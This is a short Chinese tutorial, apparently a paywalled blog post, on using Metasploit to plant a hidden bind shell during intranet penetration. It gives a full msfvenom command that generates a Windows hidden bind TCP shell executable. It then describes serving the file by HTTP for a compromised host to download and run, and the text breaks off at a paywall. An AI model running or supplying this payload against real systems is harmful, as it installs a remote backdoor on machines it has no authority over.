本文介绍了如何使用 Metasploit 创建一个隐藏的正向 Bind Shell，该 Shell 只允许指定的目标机器接收反弹 Shell。通过 MSFvenom 生成 Windows 正向 shell，然后利用 Python3 HTTP 服务器在目标机器上部署并执行。当黑客通过 Telnet 在指定端口连接时，仅目标机器能反弹一个 cmd shell，提高了渗透测试的安全性。
在内网渗透中，正向 bind shell 会经常用到，正反向shell：反向 reverse shell 就是通过我们监听，目标肉鸡运行 exe 我们就会收到一个反弹 shell；而正向就是目标肉鸡运行 exe，我们去连接肉鸡。
首先通过 MSF 生成一个正向 shell：
msfvenom -p windows/shell_hidden_bind_tcp LPORT=8889 AHOST=192.168.84.128 -f exe > bind_shell.exe
使用python3开启一个自带的http服务器：
再在肉鸡访问hacker的8000端口将exe下载后运行：
最低0.47元/天 解锁文章
扫一扫
1549
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
